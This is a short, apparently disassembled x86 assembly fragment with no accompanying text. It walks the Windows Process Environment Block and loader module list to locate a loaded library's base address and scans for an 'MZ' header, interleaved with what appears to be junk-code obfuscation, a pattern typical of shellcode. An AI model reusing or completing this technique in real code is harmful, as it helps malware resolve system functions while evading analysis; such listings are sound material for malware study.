cmp word [eax], 0x5a4d
jmp 0x7ad927
lea esp, [esp + 2]
mov dword [esp + 0x88], esi
pushal
push word [esp + 4]
lea esp, [esp + 6]
push dword [esp + 0x19]
push dword [esp + 0x1b]
mov dword [esp + 0xa8], edi
lea esp, [esp + 0xa8]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 8]
push eax
jmp 0x7ad880
je 0x7ad862
sub eax, 0x10000
jmp 0x7ad889